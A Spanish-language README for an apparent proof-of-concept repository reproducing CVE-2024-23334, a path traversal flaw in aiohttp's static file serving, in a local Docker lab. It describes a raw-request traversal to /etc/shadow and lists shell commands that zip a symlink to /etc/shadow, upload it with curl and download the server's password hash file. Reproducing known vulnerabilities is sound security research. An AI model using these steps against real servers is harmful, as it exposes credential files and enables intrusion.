
Este repositorio contiene una prueba de concepto sobre la explotación de la librería aiohttp para la vulnerabilidad reportada CVE-2024-23334.
Este repositorio contiene una prueba de concepto sobre la explotación de la librería aiohttp para la vulnerabilidad reportada CVE-2024-23334.
Esto fue creado por dos razones:
Para más información, visita mi sitio web: https://brianre.dev/
make build
make run
Si quieres ejecutar docker en modo desacoplado, solo ejecuta:
make rund
python3 exploits/exploit_path_traversal.py
Al ejecutar el script, estamos realizando una solicitud HTTP RAW al servidor. Lo hacemos de esta manera y no usando curl o accediendo directamente en el navegador porque estas herramientas incluyen sanitización y normalización de URLs antes de enviar la solicitud HTTP. Esto incluye la normalización de rutas: herramientas como curl y navegadores procesarán la ruta URL, eliminando secuencias como .. que se usan para directory traversal. Por lo tanto, una ruta como /static/../../../../../../../../../../../../etc/shadow será normalizada a /etc/shadow, y dado que dicha ruta típicamente no existe como recurso en un servidor web estándar, resulta en un error 404.
Ya existe un enlace simbólico a un archivo restringido, como /etc/shadow. Este escenario es el más improbable, pero quizás alguien internamente de la empresa pueda filtrar información usando esto y las personas pueden no revisar los registros estáticos. Y en caso de que el acceso a archivos estáticos no se registre, es muy difícil identificar cuándo se filtró.
Alguien puede subir un enlace simbólico al servidor y explotarlo. Este es un escenario más real, donde lo que hago es subir un enlace simbólico generado en mi computadora, y luego accedo a ese archivo para poder recuperar un archivo como /etc/shadow.
La forma de realizar esto es con un archivo comprimido, de esa manera podemos subir el enlace simbólico y, cuando se descomprime en el servidor, genera ese mismo enlace simbólico. Subir un enlace simbólico a través de curl directamente como un archivo link.jpeg solo leerá el archivo local al que apunta el enlace simbólico y subirá el archivo original en su lugar. Por lo tanto, si queremos apuntar a una ruta específica del sistema de archivos del servidor, deberíamos poder subir un archivo comprimido, como .zip o .tar.gz.
Para reproducir este segundo escenario, tienes que seguir estos pasos:
touch /etc/shadow # Crea un archivo en tu máquina en el directorio especificado. Asegúrate de no reemplazar un archivo existente.
ln -s /etc/shadow exploit.jpeg # Crea un enlace simbólico con el archivo /etc/shadow y nómbralo exploit.jpeg
zip -y images.zip exploit.jpeg # Comprime el enlace simbólico
curl -X POST -F "[email protected]" http://localhost:8080/upload # Sube el archivo zip
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Accede al enlace simbólico y, debido a que aiohttp tiene la vulnerabilidad, devuelve el /etc/shadow del servidor.
TODO
Para configurar el proyecto localmente para desarrollar, tienes que:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt